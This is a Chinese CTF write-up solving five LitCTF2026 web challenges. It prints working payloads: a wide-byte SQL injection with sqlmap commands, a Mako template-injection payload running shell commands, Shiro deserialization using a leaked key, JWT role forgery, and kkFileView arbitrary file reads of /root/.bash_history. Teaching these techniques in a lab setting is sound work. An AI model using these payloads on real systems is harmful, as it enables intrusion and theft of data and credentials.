LitCTF2026webwp
字数 2947
更新时间 2026-06-01 22:58:59
LitCTF2026 Web Writeup 教学文档
本文档基于 LitCTF2026 Web 方向的五道题目,涵盖 SQL 注入、SSTI 模板注入、Spring Boot Actuator 泄露、Shiro 反序列化、JWT 伪造、文件读取等多个实战知识点。
一、[LitCTF2026] lit_ezsql — 宽字节注入
1. 题目背景
题目提供一个查询接口 /query?id=1,返回用户数据。常规注入手法('、"、)、or、双写)均未触发报错。
2. 关键发现
访问调试参数 /query?id=1&debug=1 可查看原始 SQL 语句:
SELECT `id`,`name`,`col2`,`col3`,`col4` FROM `ezsql`.`users` WHERE id='2' LIMIT 50
尝试 id=2' 时,SQL 变为:
WHERE id='2\''
说明存在反斜杠转义机制。
3. 宽字节注入原理
在 GBK 编码下,反斜杠 \ 的 URL 编码 %5c 可与前一个字节(如 %df)组合成一个合法的多字节汉字(%df%5c → “運”),从而“吃掉”转义符,使后面的单引号逃逸。
4. 验证 Payload
1%df'
5. 最终 Payload
1%df' UNION SELECT 1,2,3,4,group_concat(flag) FROM flag_store--+
6. sqlmap 自动化
python sqlmap.py -u "http://challenge.cyclens.tech:32234/query?id=1" --tamper=unmagicquotes --delay=0.5 --dbs --batch
python sqlmap.py -u "..." -D ezsql -T flag_store -C flag --dump --tamper=unmagicquotes --delay=0.5 --batch
7. Flag
flag{89fct4ds-4tm6-4hp-8u1v-ay37y9kc2fwjy}
二、[LitCTF2026] lit_ezssti — Mako 模板注入
1. 模板引擎识别
传入不同 payload 观察报错信息:
| Payload | 现象 | 推测引擎 |
|---|---|---|
{{7*7}} |
无报错 | 非 Jinja2 |
% |
触发报错 | Mako 特征 |
% if True:\nOK\n% endif |
返回 OK |
确认 Mako |
2. 过滤规则
从源码 /app/app/waf.py 可知黑名单:
banlist = ["${", ".", "=", "flag", "[", "]"]
3. 盲注方法
利用 Mako 的控制流语法逐字符爆破 flag:
% for line in open('/fla'+'g'):
% if '<probe>' in line:
YES
% endif
% endfor
编写 Python 脚本遍历字符集,匹配到 YES 则追加字符。
4. 绕过技巧
- 禁止
.:使用getattr()替代 - 禁止
flag:使用'/fla'+'g'拼接 - 禁止
[]:使用getattr()替代下标访问
5. RCE Payload
<% exec("getattr(context, 'write')(getattr(open('/fla'+'g'), 'read')())") %>
6. 完整命令执行
<% exec("import os\ngetattr(context, 'write')(getattr(getattr(__import__('os'), 'popen')('cat /f*'), 'read')())") %>
7. Flag
flag{hhqmzcmj-eupe-4yg-8xis-hrhhvxrzxbpsa}
三、[LitCTF2026] 华辰企业服务运营平台 — Spring Boot Actuator + Shiro
1. Actuator 端点一览
| 端点 | 功能 | 危险等级 |
|---|---|---|
/actuator/health |
健康检查 | 低 |
/actuator/info |
应用信息 | 低 |
/actuator/env |
环境变量/配置项 | 极高 |
/actuator/mappings |
路由映射 | 中 |
/actuator/heapdump |
JVM 堆快照(含密码) | 极高 |
/actuator/configprops |
配置项 | 中 |
/actuator/loggers |
日志级别 | 中 |
/actuator/threaddump |
线程栈 | 中 |
2. 信息收集
- 访问
/actuator/env获取 flag2 - 下载
/actuator/heapdump,搜索flag{获取 flag 片段
3. Shiro 反序列化
前端 login.js 显示 POST /api/auth/login 携带 rememberMe 字段,判断为 Apache Shiro。
环境变量中找到密钥:
LAB_SHIRO_KEY_B64: R1pDVEZTaGlyb0dDTUtleQ==
使用 Shiro 漏洞利用工具,选择该密钥进行反序列化攻击,获得服务器 shell。
4. Flag 拼接
- 根目录下获取 flag1
- env 中获取 flag2
- 拼接得到完整 flag
四、[LitCTF2026] lit_reverse_my_web — 逆向 + JWT 伪造
1. 附件分析
附件仅包含一个编译后的 server.exe(Go 语言),无源码。
2. 二进制逆向关键信息
从二进制字符串提取到:
- 路由:
handleRegister、handleLogin、handleFlag、signJWT、parseToken - JWT 结构:HS256 算法,自定义 claims 包含
role - 数据库:SQLite,路径
/tmp/reversemyweb.db - 建表语句:
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password_hash BLOB NOT NULL,
role TEXT NOT NULL DEFAULT 'user'
);
3. 利用思路
- 本地运行
server.exe,创建/tmp/reversemyweb.db - 注册一个本地用户,登录获取 JWT
- 修改 SQLite 数据库中该用户的
role为admin - 重新登录,让原程序签发新的管理员 JWT
- 使用该 JWT 访问远端
/flag
4. 关键操作
# 本地注册
curl -i -d "username=localprobe&password=localpass123" http://127.0.0.1/register
# 登录获取 JWT
curl -i -H "Accept: application/json" -d "username=localprobe&password=localpass123" http://127.0.0.1/login
# 修改角色
python -c "import sqlite3; conn=sqlite3.connect('/tmp/reversemyweb.db'); conn.execute('UPDATE users SET role=? WHERE username=?', ('admin','localprobe')); conn.commit()"
# 再次登录获取管理员 JWT,携带访问远端 /flag
curl -i -H "Authorization: Bearer <admin_jwt>" http://challenge.cyclens.tech:31272/flag
5. 角色测试结论
| 角色 | 结果 |
|---|---|
| root/manager/auditor/reviewer/operator | 403 |
| admin | 通过权限校验 |
6. Flag
flag{lj7xmbvz-xtqy-4yp-8q7t-7brghcvoak2fq}
五、[LitCTF2026] Northbridge Document Hub — 文件读取
1. 信息收集
查看 /assets/js/portal.js,发现关键配置:
var bootstrap = {
auth: {
mode: "legacy-fallback",
seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
},
fileGateway: {
path: "/kkfileview/getCorsFile",
queryKey: "urlPath",
node: "legacy-parse-02"
}
};
2. 获取凭证
Base64 解码 seed:
researcher:Research#2026
使用该凭证登录系统。
3. 文件读取利用
构造请求读取任意文件,需将路径进行 Base64 编码:
/kkfileview/getCorsFile?urlPath=<base64_encoded_path>
4. 读取敏感文件
读取 /root/.bash_history 获取历史命令线索。
5. 下载压缩包获取 Flag
file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip
解压后得到 flag.txt。
六、总结与反思
| 题目 | 核心知识点 | 关键技巧 |
|---|---|---|
| lit_ezsql | 宽字节注入 | 调试参数 debug=1、GBK 编码特性 |
| lit_ezssti | Mako 模板注入 | 报错识别引擎、getattr 绕过点号限制 |
| 华辰企业平台 | Actuator 泄露 + Shiro | heapdump 搜索 flag、Shiro 密钥利用 |
| reverse_my_web | Go 逆向 + JWT 伪造 | 本地复现服务、修改数据库角色 |
| Northbridge Hub | 前端配置泄露 + 文件读取 | Base64 编码路径、凭证复用 |
常见误区提醒:
- 宽字节注入需要数据库字符集为 GBK 系列
- SSTI 不要只局限于 Jinja2,Mako 的语法特征是
% - Spring Boot Actuator 的
/env和/heapdump是最容易被忽略的高危端点 - 编译型语言的二进制文件中仍可能残留完整的路由和 SQL 语句
- 前端 JS 文件常常泄露 API 路径、凭证、调试信息
相似文章
相似文章